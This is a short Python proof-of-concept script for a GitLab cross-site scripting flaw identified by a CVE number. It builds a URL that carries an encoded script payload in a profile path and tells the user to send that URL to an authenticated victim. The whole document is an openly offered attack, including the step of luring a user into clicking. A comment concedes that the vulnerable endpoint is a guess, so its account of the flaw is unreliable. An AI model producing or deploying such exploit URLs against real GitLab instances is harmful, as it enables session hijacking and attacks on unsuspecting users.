CVE-2026-5816

import urllib.parse """ PoC for CVE-2026-5816 (GitLab Path Validation XSS) Description: Generates a malicious URL to exploit the path validation issue. Usage: Replace 'target-gitlab.com' with the actual target domain. """ def generate_exploit_url(target_domain): # Malicious JavaScript payload payload = "<script>alert('CVE-2026-5816 XSS');</script>" # Encode payload for URL encoded_payload = urllib.parse.quote(payload) # Construct the vulnerable path # Note: The specific vulnerable endpoint might vary based on the actual vulnerability details. # This demonstrates injecting code into a path segment. exploit_url = f"https://{target_domain}/-/profile/{encoded_payload}" return exploit_url if __name__ == "__main__": target = "target-gitlab.com" url = generate_exploit_url(target) print(f"[+] Exploit URL: {url}") print("[+] Send this URL to an authenticated user to trigger the XSS.")

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